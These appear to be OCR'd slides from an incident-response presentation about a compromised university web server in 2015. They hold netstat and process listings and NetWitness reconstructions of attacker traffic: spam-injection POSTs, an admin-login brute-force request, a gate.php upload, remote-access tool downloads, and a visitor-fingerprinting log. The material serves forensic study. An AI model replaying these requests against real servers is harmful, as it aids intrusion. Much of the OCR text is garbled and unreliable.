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1. 3 2 4R
l. & netstat 4y 4 @4 > 322 85 BEcport 80 % 21> A% % Web

service ~ FTP service # 1@ * Jﬁ" i3 3B o

5 TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
6 [inetinfo.exe]

7 TCP 0.0.0.0:860 0.0.0.0:0 LISTENING
8 [httpd.exe]

9 TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
10 RpcSs

11 [svchost.exe]

12 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

2. KA BB L7 %% > PID 2308 ch425% anydesk. exe # 0 Ak4E »

kg 1R N —ﬁﬁé’ %o

17 cmd.exe 3372 Services 0 2,124 K Unknown NT AUTHORITY\SYSTEM
17 anydesk.exe 3800 Services 0 12,760 K Unknown NT AUTHORITY\SYSTEM
40 cmd.exe 4128 Services 0 2,086 K Unknown NT AUTHORITY\SYSTEM
- anydesk.exe 2308 Services 0 12,768 K Unknown NT AUTHORITY\SYSTEM
51 UIODetect.exe 656 Services 0 6,040 K Unknown NT AUTHORITY\SYSTEM
52 httpd.exe 5016 Services 0 67,928 K Unknown NT AUTHORITY\SYSTEM
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NetWitness Reconstruction for session ID: 12963 ( Source 120.

oo

.2 149239, Target 5.45.75.6 - 80)
Payload Size 11,070 bytes

Time 11/23/201510:38:53 to 11/23/2015 10:38:54 Packet Size 12

POST /rew.php HTITP/1.1
Host: xyz.hulahost.net
Accept: ¥/*®
Content-Length: 1423
Expect: 100-continue
Content-Type: multipart/form-data; boundary=
182

—————————————————————————— el0allce45e4bl82
Content-Disposition: form-data; name="self"

,336 bytes
- -

http: /fwww.csie
s -femmes

.edu.tw/csie/chinesefalbum/birth/?j=3232&online=viagra-sur-le

ffffffffffffffffffffffffff el0al2ce45e4b182

fffffffffffffffffffffffff el0al2ce45e4b182

/csie/chinese/album/birth/index.php
-------------------------- ellal2ced5edblB2

.......................... el0al2ced3e4blB82

157.55.39.148

A0c10codS di19)

Content-Disposition: form-data; mame="sub_id"

Content-Disposition: form-data: name="FHP_SELF"

Content-Disposition: form-data; name="SERVER_PROTOCOL"

Content-Disposition: form-data: name="REMOTE_ADDR"

mwzgoowm

mwzgoowm=

HTTP/1.1 100 Continue

HTTP/1.1 200 OK

Server: nginx/1.8.0

Date: Mon., 23 Nov 2015 02:39:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Vary: Accept-Encoding

136

a:3:{s:7:"headers";a:1:{1:0;s:38:"Cont
ontent”;s:9034:"<!DOCTYPE HIML PUBLIC
ttp://www.w3.org/TR/xhtml 1/DTD/xhtmll-
<html xmlns="http://www.w3.0rg/1999/xh

<meta http-eguiv="Content-Type" conten
<title>Commande viagra rapide, viagra

<link type="text/css" rel="stylesheet”
n.css" />
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Microsoft Edge

Microsoft Edge

{EIAREE xyz.hulahostnet IEZKFIREHEAE ARHERE - FR2ELH S 25 H No Access! °

ES BERXENER LEAEFREREEANERESHARE -

b s g kBT http://120. XX, 2/img/log. log #% ¢ > #F R
Flivs ege a0y IP-OSHRA ~FTERAZ PR IEFTR - HHBLET
it L3 P 2k www. molihua. org e IP e TALTE ML G A

120. X. X. 2 evweb server ® o

109 IP:157.55.112.222 =FEFELAE]

110 OS:Windows XP

111 Browser:Internet Explorer 7.0

112 Flash:WIN 9,0,115,0

113 JRE:1.7.0

114 Referer:http://www.molihua.org/2011/10/blog-post 369.html
115 Language:en-us

116 Time:2012-12-06 10:08:48 AM

117

118 1P:74.125.184.19 EEHIFIFEEILMILIETRERAET

119 OS:Windows 95

120 Browser:Chrome 23.0.1271.95

121 Flash:Shockwave Flash 11.5 r31

122 JRE:1.7.0 05

123 Referer:http://www.molihua.org/2012/07/blog-post 919.html
124 TLanguage:zh-CN

125 Time:2012-12-06 11:12:19 AM

2T

£l

service» P MR RArm AR [P#HE R 5 - BT 5 /csie/CSIE-

g 3 A RN [P RS A 3 Ba 4 120.X.X. 2 o Web

English/webpages/administrator/index. php » I ® i * HTTP POST -

RAEHEAEIE RS F 0 F A IERE A -



NetWitness Reconstruction for session ID- 16630 ( Source 195.206.253.146 63997, Target 120.

Tlme 11/23/2015 11:23:26to 11/23/2015 11:23:27 Packet Size 6, JSO hytPs Paylnad Size 5,488 bytes

. . o = =
FPOST /csie/CSIE-English/webpages/adninistrator/ index.php HTTP/1.0 E HTTP/1.1 200 OK
Host: www.csie edu. tw S Date: Mon, 23 Nov 2015 03:23:32 GMT
User-Agent: Mozilla/4.0 {(compatible; MSIE 7.0; Windows NT 6.0) P Server: Apache/2.4.12 (Win32) PHP/5.6.]
Cookie: 2c7fbbObdlcce8bdald18c539aa7e803=h0i g3f2gp62k88udnful38skod; path=/ o X-Powered-By: PHP/5.6.8
Comnection: close h P3P: CP="NOI ADM DEV PSAi COM NAV OUR {
Content-Type: application/z-www-form-urlencoded s Expires: Mon, 1 Jan 2001 00:00:00 GMT
Content-Length: 102 E Last-Modified: Mon, 23 Nov 2015 03:23:

Cache-Control: post-check=0, pre-check]

username=admin&63bfc75090a35d84e032b670738e98ca=14t ask=1oginkl ang=fpasswd= Pragna: no-cache

%option=com_login Content-Length: 4654

Computer Science & Information Engineer

CSIE Administration Login

Error
e Username and password do not match

Username
Password

Username and password do not match

Language Default M

Login

Use a valid username and password to gain access to the Administrator Back-end.
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NetWitness Reconstruction for session ID- 13853 (Source 87.69.165.155 - 56764, Target 120.

Time 11/23/2015 10:47-14t0 11/23/2015 10:53:18 Pa(ketleEJb444J8 bytps Payload Size 3,428,348 bytes
Decto o1 onao o on cdaoon 2 010

POST /csiel/img/gate.php HITP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: www.csie.m cedu. tw

Content-Length: 9764632

Connection: Close
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NetWitness Reconstruction for session ID: 385744 ( Source 120

.2 63544, Target 188.40.61.24 : 80)
Payload Size 1,421,283 bytes

Time 11/30/2015 2:22:27 to 11/30/2015 2:22
Do gag e on oo Ao s

35 Packet Size 1,509,189 bytes

GET /AnyDesk.exe HTTP/1.1
Host: download.anydesk.com
Accept: */*

HTTP/1.1 200 OK

Server: nginx
Date: Sun, 29 Nov 2015 18:22:45 GMT
Content-Type: application/octet-stream
Content-Length: 1420960
Last-Modified: Fri, 23 Oct 2015 11:30:18 GNT
Connection: keep-alive
ETag: "562alada-15aeal"
Accept-Ranges: bytes
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186758 ( Source 5.135.5.113 : 44204, Target 120.

0 Packet Size 1,512 hyms Piy\c:ad Size 770 bytes

GET /c31eflmg1531e exe HTTP/1.1

~
Accept: text/html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/201
00401

Connection: close

Pragma: no-cache
Cache-Control: no-cache
Accept-Encoding: deflate
Host:|www.csie mwm edu.tw

HTTP/1.1 302 Found
Date: Wed, 25 Nov 2015 18:30:37 GMT
Server: Apache/2.4.12 (Win32) PHP/5.6.8
Location: http://google.com/
Content-Length: 297
Connection: close ™
Content-Type: text/html; charset=iso-8859-1
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NetWitness Reconstruction for session ID: 189399 ( Source 5.135.5.113 : 27148, Target 120.

T\me 11/2 ,“'2015 3:56:50 to H f26/2015 3:57:13 Packet Size 428, J?? bytps Payload Size 399,411 bytes

GET  fesie/img/csie_vnc.bin HTTP/1.1 ~
Accept: text/html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.3) Gecko/201
00401
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Accept-Encoding: deflate
Host: www.csie edu. tw

HTTP/1.1 200 OK

Date: Wed, 25 Nov 2015 19:57:01 GMT

Server: Apache/2.4.12 (Win32) PHP/5.6.8

Last-Modified: Thu, 29 Oct 2015 11:29:43 GMT

ETag: "5e600-5233ca09e14b6"

Accept-Ranges: bytes v
Content-Length: 386560
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